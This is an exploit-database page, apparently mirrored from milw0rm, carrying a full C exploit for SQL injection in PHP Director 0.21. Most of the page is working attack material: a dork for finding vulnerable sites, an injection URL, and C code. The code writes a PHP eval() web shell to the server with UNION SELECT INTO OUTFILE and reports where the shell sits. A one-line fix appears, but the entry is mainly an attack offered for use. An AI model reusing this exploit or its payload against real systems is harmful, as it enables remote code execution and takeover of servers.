Lucene search
K

PHP Director <= 0.21 (sql into outfile) eval() Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

PHP Director <= 0.21 (sql into outfile) eval() Injectio

Code

                                                #include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;netdb.h&#62;

/* Dork &#34;Powered by PHP Director 0.2&#34;   
   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| PHP Director 0.2.1 (sql into outfile) eval() Injection Exploit | 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  
 {Exploit}-&#62; index.php?cat=%27+UNION+SELECT+1,&#39;lol&#39;,3,4,5,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+&#39;/var/www/ex.php&#39;/*
 {PHP.ini}-&#62; Magic Quotes off
 {Written}-&#62; by Juri Gianni aka yeat - staker[at]hotmail[dot]it 
 {WhereIs}-&#62; http://sourceforge.net/projects/phpdirector/
 {Compile}-&#62; gcc -o exploit exploit.c 
 
 
 {Details}-&#62; index.php (line 56-58)
  
 56. }elseif (isset($_GET[&#34;cat&#34;])) {
 57. $cat = $_GET[&#34;cat&#34;];
 58. $_query = sprintf(&#34;SELECT SQL_CALC_FOUND_ROWS * FROM pp_files WHERE `category` = &#39;$cat etc..)
  
 {Bug}-&#62; $cat variable is not checked so we have a sql injection
 {Fix}-&#62; $cat = mysql_real_escape_string($_GET[&#39;cat&#39;]);
 


 yeat@lulz:~/Desktop$ gcc -o exploit exploit.c
 yeat@lulz:~/Desktop$ ./exploit localhost /cms /var/www/shell.php
 Exploit successful..shell: /var/www/shell.php

*/



#define GET  &#34;GET %s/index.php?cat=%s HTTP/1.1\r\n&#34; \
             &#34;Host: %s\r\n&#34; \
             &#34;User-Agent: Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)\r\n&#34; \
             &#34;Connection: close\r\n\r\n&#34;

#define Exec  &#34;&#39;+UNION+SELECT+1,2,3,4,&#39;&#60;?eval(stripslashes($_GET[cmd]));?&#62;&#39;&#34;\
              &#34;,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+&#39;%s&#39;&#34;


char *getHost (char *host)
{ 
    struct hostent *hp;
    struct in_addr **y;
    
    hp = gethostbyname(host);
    y = (struct in_addr **)hp-&#62;h_addr_list;
    
    return inet_ntoa(**y);
}


int main (int argc,char **argv)
{
    int server,leak;
    char data[1024],html[1024];
    char packet[500],loadsf[500];

    struct sockaddr_in addr;
    
    if (argc &#60; 3) {
       printf(&#34;Usage: %s host path file\n&#34;,argv[0]);
       printf(&#34;RunEx: %s localhost /cms /var/www/shell.php\n&#34;,argv[0]);
       exit(0);
    }   
    
    server = socket(AF_INET,SOCK_STREAM,0);
    
    addr.sin_family = AF_INET;
    addr.sin_port = htons((int)80);
    addr.sin_addr.s_addr = inet_addr(getHost(argv[1]));
    
    leak = connect(server,(struct sockaddr*)&addr,sizeof(addr));
    
    if (leak &#60; 0) {
       printf(&#34;connection refused..try again\n&#34;);
       exit(0);
    }   
    
    snprintf(loadsf,sizeof(loadsf),Exec,argv[3]); 
    strncat(loadsf,&#34;%23&#34;,sizeof(loadsf));   
    snprintf(packet,sizeof(packet),GET,argv[2],loadsf,argv[1]);   
        
    if (send(server,packet,sizeof(packet),0) &#60; 0) {
       printf(&#34;data sent error..\n&#34;);
    }   
       
    while(recv(server,html,sizeof(html),0) &#62; 0) 
    {   
        if (strstr(html,&#34;MySQL&#34;) || strstr(html,&#34;mysql_fetch_array&#34;)) {
           printf(&#34;Exploit unsuccessful..\n&#34;); break;
        } 
        else {  
           printf(&#34;Exploit successful..shell: %s\n&#34;,argv[3]); break;
        }   
   }  
    
    return 0;
}

// milw0rm.com [2009-03-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation